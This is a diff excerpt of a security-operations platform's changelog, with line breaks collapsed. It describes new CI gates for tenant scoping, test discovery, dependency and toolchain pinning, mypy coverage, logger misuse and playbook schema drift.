tree it never opened is worse than no gate.- **The console's `ConnectorType` union is generated from the connectorregistry.** Its members were corrected in the previous release; the@@ -1360,17 +877,43 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0no XSIAM, and XSIAM is reachable under `cortex_xsiam` for any deploymentthat means it. The evidence is recorded beside the map in `normalizer.go`.-- **`scripts/check_gate_coverage.py` — the gate on the gates.** The most- expensive recurring defect in this repository is a mechanism that exists, is- tested, and has no caller on the path that needs it. A gate is the worst case- of that shape, because a gate *is* its caller: a conformance script no- workflow runs cannot fail, which is indistinguishable from no gate at all,- while its presence in `scripts/` advertises coverage to everyone who reads- the tree. Finding them had meant tracing the call graph by hand.-- This resolves the graph mechanically instead of reading workflow names,- because a check can be reached four different ways and only one of them is- obvious: a workflow can run it directly, through a `make` recipe, through+- **A gate that fails when a route lets its caller name the tenant.**+ `scripts/check_route_tenant_scope.py` is an AST pass over every route+ decorator and signature under `services/` — a structural property needs a+ structural check, and the thing being looked for (a parameter's name, a+ decorator's `dependencies` list, the router object the decorator hangs off)+ survives renames a regex would miss. It fails in **both** directions: a+ route that takes a tenant identifier with no auth dependency, and a route+ that accepts one without intersecting it with the caller's scope. It reads+ request-body models too, because `POST {"tenant_id": "<someone else's>"}` is+ the same hole as `?tenant_id=` and the mutating routes carry it on the body.++ `--self-test` injects a violation of each kind and asserts both are caught+ while two clean controls pass, so the gate cannot quietly stop detecting+ things. Exemptions each carry a written reason and are as narrow as the+ facts allow: `services/mesh` is public by design (Ed25519 + k-anonymity, a+ bearer token would break federation rather than secure it); three MSSP+ routes *define* a scope rather than read within one, so intersecting would+ make them impossible; and `osquery-tls` `/enroll` authenticates with a+ per-tenant enroll secret because osqueryd has no session yet. That last+ exemption is **conditional** — the self-test strips the verifier it names+ and asserts the route is then reported, so deleting the check and keeping+ the entry fails the build. The gate resolves its repository root from `git+ rev-parse` rather than its own file location, and prints how many routes+ across how many files it opened, so an OK can be distinguished from a scan+ that never happened. `--inventory` prints the per-service table.++- **`scripts/check_gate_coverage.py` — the gate on the gates.** The most+ expensive recurring defect in this repository is a mechanism that exists, is+ tested, and has no caller on the path that needs it. A gate is the worst case+ of that shape, because a gate *is* its caller: a conformance script no+ workflow runs cannot fail, which is indistinguishable from no gate at all,+ while its presence in `scripts/` advertises coverage to everyone who reads+ the tree. Finding them had meant tracing the call graph by hand.++ This resolves the graph mechanically instead of reading workflow names,+ because a check can be reached four different ways and only one of them is+ obvious: a workflow can run it directly, through a `make` recipe, throughanother script it already runs, or through a pytest suite it collects.`connector_conformance.py` is reached *only* by that last route — theconnectors matrix in `ci.yml` collects `test_conformance.py`, which imports@@ -1403,6 +946,119 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0vendored mirrors with no drift gate. A redactor copy that drifts strips adifferent set on one side of the wire than the other.+- **No gate may report OK over a repository with no content, and it is a CI+ gate now rather than a probe somebody happened to run once.** Copying+ `scripts/` into an empty git repository and running every wired check there+ found five reporting OK over a tree holding nothing — the detection+ validator behind the rule count on the front page certifying zero rules as+ valid, a dashboard check that failed on an *empty* directory and passed on a+ *missing* one, `OK: 0 published Go module path(s)`, every self-link healthy+ over zero files, and a health-probe audit printing a table header and+ exiting 0. Those five were fixed; the probe that found them was a one-off,+ so the next gate written could reintroduce the defect freely.++ `scripts/check_gate_contract.py` is that probe made permanent. It runs all+ 69 inventoried checks the way a workflow runs each one, inside a git+ repository holding only `scripts/`, and requires each to exit non-zero.+ Three things make the result mean something:++ - **The inventory is not written here.** It comes from+ `check_gate_coverage.py`, which already resolves the workflow-to-check+ graph structurally. A second scanner would drift the first time either+ one learned something the other had not.+ - **A failure the empty tree did not cause is INCONCLUSIVE, not a pass.**+ An argparse usage error, or an import of a module the repository does not+ supply, means the gate was never exercised — crediting that as a refusal+ would be the same defect one level up. Whether a missing module is the+ repository's own is read from `git ls-files`, so `No module named 'app'`+ counts as the empty tree working and `No module named 'structlog'` does+ not.+ - **Every way CI runs a script is probed, and the worst result decides.**+ Four subcommands under one name are four gates; excusing the set because+ the first refused is how the others stay hidden. Only invocations+ carrying a declared verdict flag are probed, so the generator half of a+ script that is both generator and gate is not mistaken for one.++ Exceptions are recorded with the disposition they are excused for and+ checked in both directions, so an entry naming a check that no longer+ exists fails, and so does one whose gate has started behaving differently.+ Four are recorded: `wet_eval_check.py` (reads two environment variables and+ no repository content), `security_audit.py`'s `validate-ignores` arm (its+ entire subject is a file inside `scripts/`, the one directory the scratch+ tree must keep), and `openapi_diff.py` / `wet_eval_update_benchmark.py`+ (both inputs named on the command line, one of them built outside the+ checkout).++- **Every check resolves its repository root from git, and every check+ carries a `--self-test`.** Sixty of the sixty-nine derived a root from+ `Path(__file__).resolve().parent.parent` — whatever happens to sit two+ levels above the script — which is how a gate prints a confident OK about a+ tree it never opened, and only a deliberate run from another directory+ catches it. Fifty-four had no self-test at all. Both are now properties the+ contract gate enforces, with empty exception lists.++ `scripts/gate_toolkit.py` holds the single implementation of both. Five+ near-identical copies of the git resolution had already accumulated across+ `scripts/`, which is how the sixth gets written subtly differently.++ Two things this turned up. `check_gate_coverage.py` decided whether a script+ inspects the repository partly by looking for `Path(__file__)` — the very+ idiom being migrated away from — so moving six gates onto the shared+ resolver silently dropped them out of the inventory, and deleting their+ workflow steps would then have gone unnoticed. And the first spelling of the+ root-resolution property matched `repo_root` anywhere in the file, which+ `check_gate_coverage.py` emits as a JSON key: a gate rooted at `__file__`+ read as compliant on the strength of a dictionary key in its own output.+ Both are read from the syntax tree now.++- **Every test file in the tree is now executed by a workflow, and a gate+ holds it that way in both directions.** 63 were executed by nothing at all:+ 56 of the 82 under `services/agents`, because that invocation was a+ hand-maintained list of 26 file paths; five under the repository's own+ `tests/`, which was reached only as nineteen single-file invocations spread+ across eleven workflows; and both files under `scripts/tests/`, which no+ workflow named. A file nothing runs reports nothing, which is+ indistinguishable from a file that passed.++ `scripts/check_test_discovery.py` derives the corpus from `git ls-files` and+ models reach the way pytest collects — directory arguments, `--ignore`,+ `conftest` `collect_ignore`, and `-m` marker deselection, since a file whose+ every test is deselected runs nothing however plainly it is named. An+ invocation naming a path that is not in the tree fails too. Quarantine is a+ shrink-only list where every entry carries a reason and an entry that has+ become reachable fails as stale, so "not run" can never again be silent.++ Two blind spots in the gate's own parser were found by enumerating what it+ **credited** rather than what it flagged. A step that `cd`s into a service+ and then names `tests/` had its paths resolved against the repository root,+ which simultaneously reported all 82 agents files unreached and credited the+ root `tests/` tree with a package's invocation — the same defect in both+ directions at once. And `-m` was first treated as "a filter, not a+ collection rule", which would have credited a module in full under+ `-m "not integration"` while nothing in it ran.++ The invocations are directories now. `services/agents` runs `tests/`;+ `tests/` and `scripts/tests/` run as directories in `python-test`, with+ `tests/isolation/` left to `isolation.yml`, which owns its live stores.++- **`--suite <name>` in `scripts/run_evals.py` ran every suite.** Its `--help`+ said "runs that suite in isolation", the module docstring said "run a single+ suite by name", and `args.suite` reached nothing but the wording of the+ banner: the report dict called all eleven `_run_*` helpers inline. So+ `--suite mitre_accuracy` took the full runtime, graded eleven gates, and+ printed `PASS — mitre_accuracy green` — a verdict naming one suite and+ decided by eleven, with `--ci` able to fail an operator's single-suite+ bisection on an unrelated regression. The report now carries `suite_filter`+ and only the requested suites are called; the registry is asserted against+ `_SUITE_NAMES` so a name argparse accepts cannot be one no runner answers+ to. A substrate-import failure also exits **3**, which is what this file's+ own "Exit codes" block has always documented — it exited **2**, and 2 means+ "MITRE accuracy regressed against the baseline", so a fresh clone missing a+ dependency reported an accuracy regression, and the one actionable+ instruction (`pip install -e services/agents`) was not in the message.+ All three defects were pinned by tests in `scripts/tests/` that had been+ failing for as long as they existed, in the tree no workflow ran.+- **`scripts/check_dependency_pins.py` — fails when any two install paths forone package disagree.** A package is installed from more than one place: amanifest, a lock, a Dockerfile, and whichever workflows pip-install a@@ -1434,10 +1090,59 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0asserts the gate refuses a directory that is not the repository, ratherthan printing a confident OK about a tree it never opened.-- **`.github/workflows/reproducible-builds.yml`.** Four jobs: the pin gate- and its self-test; `poetry check --lock` across all thirteen Python- services; the API imported on both ends of the declared FastAPI range; and- two `--no-cache` builds of the same commit compared package by package.+- **`scripts/check_toolchain_pins.py` — the Go, Node and toolchain half of+ reproducible builds.** `check_dependency_pins.py` made every *package*+ install path agree and stopped at the Python services. Go has `go.sum` and+ pnpm has a frozen lockfile, so the raw material was already there — but+ nothing compared the paths that use it, and nothing audited the *runtime*+ those paths run on. Measured across 111 install paths, and every+ disagreement found:++ | What | Before |+ |---|---|+ | `apps/web/Dockerfile` | `pnpm install --no-frozen-lockfile` — the production web bundle was the one install path in the repository free to resolve its own dependency set, while all 13 workflows installing the same workspace used `--frozen-lockfile` |+ | `services/realtime/Dockerfile` | `npm install` twice, and `package-lock.json` never copied into the build context, so the committed lockfile was inert and every image build re-resolved |+ | `install.sh` | `pnpm install --no-frozen-lockfile`, so a self-hoster's install could differ from everything CI tested |+ | `.devcontainer/devcontainer.json` | `pnpm install --frozen-lockfile=false` — an opt-out a substring test for the flag reads as *enabling* it |+ | `deploy-docs.yml` | `pnpm --filter @aisoc/docs install`, unlocked; the published docs site could build from a tree no other job resolved |+ | `apps/web/Dockerfile` | `npm install -g pnpm@8` against `packageManager: [email protected]` — two resolvers, the `poetry 1.7.1 vs 1.8.2` finding again |+ | Node | 20 in both images, the devcontainer, `deploy-docs.yml` and both installers; 22 in twelve workflows. Node 20 left security support in April 2026 |+ | `services/enrichment/Dockerfile` | `COPY go.mod go.sum*` — the glob makes the checksum file optional, so deleting it downgrades the build to an unverified resolve without failing |+ | `ci.yml` | `cache-dependency-path: packages/plugin-sdk-go/go.sum`, a file that does not exist. `setup-go` reports that as a **warning**, so the cache had been silently off while the job stayed green |+ | `packages/sdk-go` | compiled by no workflow at all |++ Everything above is now one version and one lockfile discipline, proved+ rather than asserted: two `--no-cache` builds of each Node image resolve+ byte-identically (web 1,172 packages, realtime 187, matching sha256 both+ times).++ Six directions, each with a `--self-test` injection that fails if it goes+ undetected — 22 cases. Beyond agreement: *ship → test* (a version an image+ ships that no workflow exercises) and *test → ship* (a version CI uses that+ no image ships, which is the direction versions actually travel); *module →+ sum* and *sum → module*; *module → CI* and *CI → module*; unlocked install+ and its reverse, a lockfile nothing can consume; and both coverage+ directions — a file declaring a toolchain that the gate never opened, and a+ file it *did* open whose declaration the parser could not read.++ That last direction earned its place immediately. Hunting for this parser's+ equivalent of the blind spot `check_dependency_pins` found in itself, five+ turned up: `cd services/${{ matrix.service }}` resolved to nothing, so five+ of six Go modules looked ungated; `working-directory:` was not read at all,+ so `services/osquery-extensions` looked uncompiled while the workflow that+ compiles it sat two directories away; the npm pattern had no left word+ boundary and matched inside every `pnpm install`; quoted shell text was read+ as commands, so `die "pnpm install failed."` counted as an install path; and+ the `node_modules` skip was a prefix rather than a path segment, so on a+ checkout with dependencies installed the gate scanned 223 vendored manifests+ and reported Node floors of `0.10` from other people's packages — an answer+ that depended on whether someone had run `pnpm install`.++ `EXPECTED_ESBUILD` pins the **resolved** esbuild set (0.25.12 bundled by+ Next, 0.28.1 from the scoped overrides). The overrides are deliberately+ per-parent because forcing esbuild workspace-wide broke Turbopack's font+ import map, and that scoping means a `vite` bump can pull a different+ esbuild with no esbuild line in the diff.- **`scripts/check_sqlglot_pin.py` now checks the lock, not just the ranges.**`services/api/Dockerfile` left the list of files declaring sqlglot when its@@ -1447,289 +1152,294 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0only to each other would have left the gate agreeing about a bound thatnothing installs.-- **A playbook step that names a response verb now reaches governed- dispatch, and says honestly what happened to it.** Fifteen of the engine's- twenty-two step types name an action against somebody's estate. Three of- them — `block_ip`, `isolate_host`, `create_ticket` — returned- `{"simulated": true}` from inside the engine, reached no executor, and were- recorded `SUCCESS`; the other twelve had no handler at all. Meanwhile- `services/actions` held working executors for fourteen of the fifteen,- behind a contract declaring each verb's impact, reversibility, approval- requirement and whether a probe exists to confirm the effect landed. The- missing piece was never an executor. The comment in `action.py` asserting- that "playbooks dispatch step by step through this service, so every step- is graded on the way past" described something that did not happen.-- The bridge is `services/agents/app/playbook/action_bridge.py` ->- `POST /api/v1/playbook-steps/dispatch` -> `live_actions.dispatch()`. It- lands in the API rather than going direct because that service holds the- credential vault and the tenant session, and `services/actions` is the only- place that may change a customer's estate — the same shape, and the same- reasoning, as `siem_writeback`. **One step, one request, one grading**: a- playbook is not approved as a unit, so authorising it cannot authorise- whatever its steps happen to contain.+- **`.github/workflows/reproducible-builds.yml`.** Four jobs: the pin gate+ and its self-test; `poetry check --lock` across all thirteen Python+ services; the API imported on both ends of the declared FastAPI range; and+ two `--no-cache` builds of the same commit compared package by package.- `executed` is the single field that means a vendor was touched. A preview,- an approval queue, a blocked action, a tenant with no integration, a- credential-less simulation and a vendor failure are each named and each- `executed: false`, and a step that did not execute is recorded FAILED so- the run halts under the default `on_failure: abort`. `AWAITING_COMPLETION`- counts as executed and `PENDING_APPROVAL` does not: collapsing that pair- either loses an action in flight or invents one that never ran. Execution- is off by default (`AISOC_PLAYBOOK_ACTIONS_EXECUTE`), so out of the box a- response step previews and reports a preview.+- **`Reproducible builds` now proves the property for all thirteen Python+ services, not one.** The `twice` job asserted byte-identical resolution for+ `api` alone; the other twelve used the same mechanism and nothing checked+ it. A nightly matrix (03:17 UTC) double-builds all twelve services that have+ a Dockerfile and double-installs the thirteenth, `teams-bot`, which has a+ lock but no image. The matrix is derived from the tree rather than+ hand-listed, and a `coverage` job fails when the number of services proved+ is not the number that exist — a scheduled run that silently covers less+ than it claims is the `wet-eval` failure, eight green weekly runs with every+ real step skipped.- **`approval` is the one step type deliberately not bridged.** It is a- pause, and the engine is a single-threaded index walk with nothing to- suspend and nothing to wake. It is also no longer the mechanism: every- response step is now graded individually at dispatch and returns- `pending_approval` on its own when a human is required, so a gate in front- of one would gate a decision that is already gated. It fails closed with- that reason recorded rather than shipping a handler that pretends.+- **`scripts/check_mypy_baseline.py` — the type check the CI job is named+ after.** `ci.yml`'s **Python — Lint & Type-check** installed mypy and never+ invoked it. Six manifests declare `[tool.mypy]` and three set+ `strict = true`, so three authors had asked for a check that had never once+ run. It runs now. The 690 findings are recorded in+ `scripts/mypy_baseline.json` exactly as mypy reports them, keyed on+ `(tree, file, error-code)` so an error cannot be introduced under cover of+ fixing an unrelated one — no `ignore_errors`, no widened config, no excluded+ tree. Both directions: a finding above baseline fails, and a *fixed* finding+ still in the baseline fails too, so freed headroom must be banked rather+ than left to absorb the next regression.- **`run_playbook` as a nested step stays unimplemented, and the calculus was- re-examined rather than inherited.** Per-step grading was the missing piece- the previous decision named, and it now exists — but the objection it was- the answer to does not move: a nested playbook's steps are still not- visible where the parent declares its policy. What changed is that the- parent no longer *needs* to bound them, because each step is graded on- arrival wherever it came from. What has not changed is that the engine- cannot see a nested playbook's content before running it, so an author- cannot review what a run will do, and a cycle across two playbooks that- reference each other is unbounded by the per-step `visited` set. Recursion- depth and an ancestor set would answer the second; the first is a product- question about reviewability, not a governance gap, and it is the reason to- keep waiting.+ Its first run against a rebased tree earned the gate: 22 findings — 14+ `union-attr`, 8 `arg-type` — in `services/api/app/services/playbook_step_dispatch.py`,+ a file merged hours earlier that nothing had ever type-checked. They are+ recorded rather than fixed because that file belongs to concurrent work;+ what matters is that they are now visible and cannot grow. Five other+ findings were real null-safety bugs in `services/fusion` — an+ `IsolationForest` and an `LGBMRanker` used before training, and the Kafka+ consumer and producer used before `start()` assigns them — and those are+ fixed, taking fusion from 7 to 2.- The schema's `x-aisoc-execution` map gains a `governed` class rather than- reusing `executed`, because "a handler ran and made an outbound call" and- "a vendor was touched" are different claims and the second is answered per- run. `simulated` stays in the vocabulary: it is the class for a handler- that answers from inside the engine, which is what these three did, and- deleting the word would make that state unspellable rather than absent.- `check_playbook_schema_parity.py` compares `governed` against- `engine.RESPONSE_STEP_TYPES` in both directions, so a verb wearing the- label while being answered locally fails the build.+- **All twenty Python trees are type-checked, and the coverage is gated in both+ directions.** `#818` ran mypy for the first time, over the six trees that+ declared a `[tool.mypy]` table. Fourteen declared none, so the job named+ "Lint & Type-check" reported green over 787 Python files it never opened — a+ tool that appears to cover the repository while covering a third of it is+ indistinguishable from no tool at all, only more reassuring.-- **`scripts/upgrade_playbooks.py`, which `docs/upgrade/MIGRATION.md` has told- operators to run since v4.** It did not exist, so the one command in the- upgrade path that touches a customer's own content failed at exactly the- moment it was needed. The field table beside it was worse: four of the five- spellings in its "v4" column are rejected by the schema- (`on_failure: {policy}`, `retry: {max_attempts, backoff}`,- `condition: {expr, language}`, and `type: "action"`, which is not a step- type at all), so following the doc by hand produced playbooks that would- not validate either. Both are corrected.+ Every tree now declares one, matching the two strictness shapes that already+ existed rather than inventing a third: the ten services take+ `python_version = "3.11"` / `strict = false` / `ignore_missing_imports = true`+ like `services/api` and `services/osquery-tls`; the four packages take+ `strict = true` / `python_version = "3.11"` like `packages/sdk-py`,+ `plugin-sdk-py` and `aisoc-cli`. No `ignore_errors`, no widened config, no+ `# type: ignore` added to reach a number.- The script reports before it writes, validates its own output against the- real `schemas/playbook.schema.json` before touching anything, and leaves- alone any file whose upgrade would not validate. `loop`, `parallel`,- `wait`, `run_playbook`, `action` and `trigger` are reported and refused- rather than mapped onto a nearest neighbour — that rewrite is precisely the- defect removed from the NL drafter, where a `disable_user` step shipped as- `investigate`. An empty scan is a failure, not a clean bill of health.+ `scripts/check_mypy_baseline.py` gains the coverage check itself, rather than+ a second gate with its own idea of what a tree is. A Python tree on disk that+ declares no `[tool.mypy]` fails (`tree -> config`), and a configured or+ recorded tree that is no longer on disk fails (`config -> tree`) — the+ direction that rots quietly, because nothing ever fails when a stale entry is+ simply never consulted. Discovery is now structural, every directory holding a+ `pyproject.toml`, instead of `services/*` plus `packages/*`: the glob was a+ naming convention, and a Python tree added anywhere else would have satisfied+ a coverage gate written against that same glob while being checked by nothing.+ The gate resolves its root from `git rev-parse` rather than from its own file+ location, prints how many trees and files were in scope, and its `--self-test`+ injects coverage drift each way against a throwaway repository.-- **`scripts/check_connector_profiles.py` — a connector-type drift gate that- reads in both directions.** Nothing compared the profile keys in- `services/ingest/internal/normalizer/normalizer.go` against the identifiers- the connectors service declares, and they had drifted apart in both- directions at once. The gate enumerates four name spaces — the Go profiles- and type aliases, the 84 declared `connector_id`s, the `ConnectorType`- union, and every `connector_type` appearing in a documented example — and- fails when a name in any of them resolves to nothing.+- **The 153 Python files that belong to no manifest tree are type-checked, and+ five gates that reported OK over nothing now fail.** Giving all twenty trees+ a `[tool.mypy]` table still left `scripts/`, `tests/`, `tools/` and+ `plugins/` outside every config — which is to say the CI gates themselves+ were the only Python in the repository nothing type-checked, while every+ other claim here rests on them.- It also checks that a documented example reaches a *profile*, not merely a- declared connector: a reader pastes a flat payload, which never carries the- canonical envelope, so only a profile or alias can give the event a vendor- identity. That is the specific check that catches the README defect.+ They are covered by a scoped invocation under a new root+ `mypy-unmanaged.toml`, not by a root `pyproject.toml`. Three things were+ measured rather than assumed: a root manifest carrying only `[tool.mypy]`+ makes `poetry check` answer *"The Poetry configuration is invalid"* from+ every directory without a manifest of its own, because poetry searches+ upward; pytest gains a `configfile` where it had none; and+ `check_dependency_pins.py`, `check_toolchain_pins.py` and+ `security_audit.py` all pass with one present only because each is scoped to+ `services/*` + `packages/*`, so they would miss it by accident of a glob and+ fail closed on it the day any of them is made structural.- `--self-test` injects twelve defects, one per direction and per failure- code, and requires the gate to catch each; it runs in CI on the same tree- immediately before the gate itself. The resolved repo root, every file read- and every count are printed before the verdict, and an input that is missing- or parses empty is a hard error rather than a quiet pass — a gate that- reports OK about a tree it never opened is worse than no gate.+ The scope is **computed, never listed** — `git ls-files '*.py'` minus every+ manifest tree — so a script added anywhere is checked with no edit, and+ deleting a tree's manifest moves its files into this scope rather than out+ of coverage. Sixteen `plugins/*/plugin.py` files share one module name in+ directories whose hyphens keep them from ever being packages, so the run is+ split into the minimum number of invocations with no collision, derived+ rather than configured. mypy's own `--linecount-report` must account for+ every module asked of it before the run may report clean, and a finding+ against a file outside the scope fails rather than being recorded.-- **The published playbook schema now describes the engine that runs- playbooks, and a gate keeps it that way in both directions.**- `schemas/playbook.schema.json` is the contract authors are told to trust,- and it had drifted from `services/agents/app/playbook/` in every available- direction at once. Two schema files existed with different step- vocabularies — 15 types at the repo root, 9 under `schemas/` — against a- `StepType` enum of 22, and the NL drafter silently fell back from one to- the other if the primary was missing. Eleven step types were declared by a- schema and implemented nowhere (`trigger`, `action`, `loop`, `parallel`,- `human_approval`, `wait`, `isolate`, `block`, `create_case`,- `run_playbook`, `script`); thirteen were accepted by the engine and- declared by neither schema. Six step fields (`blast_radius`, `depends_on`,- `output_key`, `retry.max_attempts`, `retry.backoff_seconds`,- `retry.backoff_multiplier`) were declared and never read — `blast_radius`- carried the description "engine enforces analyst approval for destructive- steps", and the engine could not see the field at all.+ Five gates were found reporting OK over a repository containing nothing, by+ copying `scripts/` into an empty git repository and running all forty:+ `validate_detections.py` printed a warning and exited 0 over an empty+ detections corpus — the validator for the number the front page quotes,+ certifying zero rules as valid; `check_grafana_dashboards.py` failed on an+ empty dashboards directory and *passed* on a missing one, so the larger loss+ was the one it forgave; `check_go_module_paths.py` reported "OK: 0 published+ Go module path(s)"; `check_repo_self_links.py` reported every self-link+ healthy over zero files, having replaced a lychee run that could not tell a+ rate-limited 403 from a live link; and `audit_health_probes.py --check`+ printed a table header and exited 0 over zero services. Each now fails and+ says what it opened. `check_repo_self_links.py` also reported a file it+ could not decode as checked, and now names it.- Resolved by making `schemas/playbook.schema.json` the only schema, widened- to the full `StepType` range with the condition-as-string form the engine- already accepted, bounds matched to `bounds.py` (3600s / 25 retries, not- 600s / 5), and the two authored-but-inert playbook keys (`inputs`,- `dry_run_support`) declared as the documentation they are. The root- duplicate is deleted. The schema also carries `x-aisoc-execution`, a- machine-checked map recording whether each step type is `executed`,- `simulated`, or vocabulary with no handler — so an author can tell what- will happen before writing the playbook rather than after running it.+ The ratchet in `scripts/check_mypy_baseline.py` gains a `file -> scope`+ direction and goes **919 → 994**: +89 newly visible, −14 fixed. Of the 89,+ 20 are `import-untyped` against the deliberate no-dependency environment the+ baseline is recorded in and the rest are annotation and narrowing findings.+ A separate `--warn-unreachable` pass over the same scope reported 8+ statements, all one shape: a defensive `isinstance` guard against untrusted+ YAML or JSON that the parameter's own annotation declares impossible. None+ is dead at runtime, so the annotations are what is wrong and the flag is+ deliberately not enabled — recording those 8 would invite someone to delete+ the guards to clear them.- `run_playbook` is deliberately **not** implemented as a step, on its own- merits rather than by inheriting the argument that removed it as an action.- A nested playbook's steps are not visible where the parent declares its- step-level policy, so the parent cannot bound them; the engine reads no- step-level approval or blast-radius field today, so nesting would let one- ungated parent pull in an arbitrary tree; and twelve of the engine's own- step types have no handler, so a verb whose purpose is to execute more- steps would multiply that. It can return when playbook steps are graded- individually — recursion depth and an ancestor set are the easy part.+- **`scripts/check_logger_kwargs.py` — no stdlib logger may be called with a+ structlog keyword.** `logging.Logger.warning` accepts exactly `exc_info`,+ `stack_info`, `stacklevel` and `extra`; structlog's bound logger accepts any+ keyword and turns it into the event dict. Both libraries are used in this+ tree, so `logger.warning("x", reason=exc.reason)` is correct in one module and+ a `TypeError` in the next, and the two call sites are identical to read — only+ the binding decides.- `scripts/check_playbook_schema_parity.py` compares the schema enum, the- `StepType` enum, the engine's handler table, the execution map, the bounds- module and the pack validator's trigger list — every pair in both- directions, because the characteristic failure here is a check that asks- only whether the schema declares something the engine lacks and never the- reverse, which is the direction things actually drift. It carries a- `--self-test` that injects drift each way and fails if any goes undetected,- refuses to run at all on a tree missing its marker files rather than- printing OK about files it never opened, and names the root, schema, step- counts and playbook count it inspected.+ This needs a checker rather than a grep because of *where* it hides. All five+ instances `#818` fixed were inside `except` blocks, where the raised+ `TypeError` replaces the exception being handled and no sibling handler can+ catch it. A misused keyword on the happy path is found by the first person to+ run the code; the same keyword in a fallback runs only when something has+ already gone wrong. The report sorts by context and names how many findings+ sit on such a path.-- **Every `ActionType` now resolves a capability contract.** `notify_slack`- was the last one without, and it was a naming gap rather than a missing- capability: the verb is `notify`, it has had a contract throughout, and the- `SlackNotify` adapter already bridged the two names. Nothing connected a- lookup *by `ActionType` value* to that bridge, so `approval_gate` found no- contract and skipped the confidence matrix — a 10%-confidence- `notify_slack` was approved for auto-execution, and the verb most likely to- auto-execute was the one graded without reference to confidence. It now- requires an analyst under the default L1 tier.+ The scanner resolves each module's logger flavour rather than assuming one:+ every binding, not just `logger`; `self._log` and class-body loggers reached+ through the instance; `from app.core.logging import get_logger` followed to+ the defining module, because both in-repo `get_logger` helpers return+ structlog while their name says nothing; `.bind()` / `.getChild()` chains;+ annotations, including parameters, for a logger that is handed in; and+ `logging.warning(...)` on the root logger. A `**kwargs` splat onto a stdlib+ logger cannot be decided statically and is reported separately rather than+ counted as clean, and a receiver it cannot classify is counted as+ `unresolved`, never as clean.- Closed with a one-entry alias (`ACTION_TYPE_CAPABILITY_ALIASES`) rather- than a rename, because `action_type` is persisted operator intent:- `remediation_whitelist` (migration 015) stores per-tenant pre-approvals- keyed `UNIQUE (tenant_id, action_type)`, so renaming the member silently- orphans every row an operator created for `notify_slack`. It is also a- documented request field and a member of the `ActionType` union in- `packages/types`. The retirement condition is recorded rather than left- open-ended: the map goes when `ActionType` does. `check_action_contract.py`- gains two directions — every `ActionType` must resolve a contract, and- every alias must name a real `ActionType`, point at a real contract, not- shadow a capability of the same name, and describe a bridge some adapter- actually implements.+ It covers all 1,408 Python files including the ~150 under `scripts/`,+ `tests/`, `tools/` and `plugins/` that belong to no tree and so are checked by+ no `[tool.mypy]` at all. It classifies 514 stdlib and 970 structlog call sites+ with 18 unresolved receivers, and reports zero defects — and fails outright if+ it classifies no stdlib logger, because "found nothing" and "resolved nothing"+ otherwise print the same word. Pointed at the pre-`#818` files it reports all+ five, each labelled `[inside except]`.-- **Competitor product names removed from the docs portal, the benchmark page- and the archived plan subtree, and a CI gate added to keep them out.** AiSOC- names no competitor product, but two published comparison tables and the- competitive-landscape section of the archived plan named eleven vendors- outright. The analytical content is preserved everywhere: every matrix cell- survives unchanged and every gap keeps its capability, direction and- magnitude — only the vendor's identity is gone. The comparison columns on- `apps/docs/src/pages/index.tsx` and `apps/docs/docs/benchmark.md` now read- "Open-source SIEM/HIDS" and "Commercial SIEM platform"; the plan's competitor- profiles and its five-column capability matrix now carry category labels- ("Autonomous triage", "Hyperautomation SOAR", "Hyperscaler bundle",- "Vendor-stack XDR", "First-line responder", "No-code automation").+ Three shapes were added after the first version reported a clean tree and the+ shapes were then found *in* that tree: an inline+ `logging.getLogger(__name__).warning(...)` with no binding to look up+ (`detection_proposals.py`), a class-body logger reached as `self.logger`+ (`core/config.py`), and an annotation with no factory call in sight. All three+ were invisible to a scanner that only read assignments of a name.- - `scripts/check_competitor_names.py` + `scripts/competitor_names.toml` drive- the gate from an **explicit list of competitor product names**, never a- heuristic, and allow-list the integration surfaces **by path** — connector- modules, plugin manifests, connector docs, the connector registry, fixtures- and tests. This matters because a vendor name is usually correct here:- `Torq` is simultaneously a first-party SOAR connector and a name that- appeared in a comparison matrix, so a global replace would have broken- working connector code. Its connector, manifest, docs page and tests are- untouched; only the competitive framing changed.- - Both lists are checked **in both directions**. A pattern that matches- nothing is dead and fails; an allow entry whose files no longer contain any- of the names it excuses is stale and fails, so an exemption cannot outlive- the code it excused; a mistyped name in an allow entry is rejected at load- rather than silently excusing nothing.- - A published comparison table is the one place where *any* vendor name is a- violation, including one AiSOC integrates with, because the table's job is- to position AiSOC against it. Those two regions are pinned by literal- start/end markers and checked against a wider vendor list; a marker that- drifts fails rather than scanning an empty slice and reporting clean.- - The scan root comes from the working directory or `--root`, never from the- script's own location, and the run prints the absolute path it walked plus- the file count — a gate that resolves its own repository can print a- confident OK about a tree it never inspected.- - `scripts/check_competitor_names.py --self-test` proves the gate detects a- known-bad sample and passes a known-good one in both directions, and fails- if a declared competitor has no fixture. `tests/test_competitor_names_gate.py`- adds 42 cases covering the stale-allow-list, marker-drift and dual-role-name- properties. Wired into `.github/workflows/competitor-names.yml`, which runs- on pull requests *and* pushes to `main` with no paths filter.+- **CI now runs the interpreter production runs, and `gofmt`, `services/realtime`+ and the published image list are gated.** Three loose ends `#817` named and+ did not close.-- **A gate that fails when a route lets its caller name the tenant.**- `scripts/check_route_tenant_scope.py` is an AST pass over every route- decorator and signature under `services/` — a structural property needs a- structural check, and the thing being looked for (a parameter's name, a- decorator's `dependencies` list, the router object the decorator hangs off)- survives renames a regex would miss. It fails in **both** directions: a- route that takes a tenant identifier with no auth dependency, and a route- that accepts one without intersecting it with the caller's scope. It reads- request-body models too, because `POST {"tenant_id": "<someone else's>"}` is- the same hole as `?tenant_id=` and the mutating routes carry it on the body.+ *Python.* Twenty-four workflows ran 3.12 while all thirteen service images+ ship 3.11. Every manifest declares `^3.11`, which permits both, so nothing+ written down was violated — which is exactly why it survived. Standardised on+ **3.11**, in 41 replacements across those 24 workflows, because 3.11 was+ already the answer everywhere except CI: the images ship it, the devcontainer+ installs it, `ruff.toml` targets `py311`, five of six `[tool.mypy]` tables set+ `python_version = "3.11"`, and all twenty-two manifests floor at 3.11 or+ below. Moving the images to 3.12 instead would have meant changing all of+ those *and* raising the published floor for seven installable packages — a+ breaking change for downstream consumers, to fix a CI hygiene problem. Testing+ at the declared floor is also the stronger guarantee. Nothing broke: 2726 API+ tests, eleven service suites at their coverage floors and three Python SDKs all+ pass on 3.11, and the mypy baseline is byte-identical (because those five+ `python_version` pins meant mypy was already checking 3.11 semantics while+ running on 3.12). 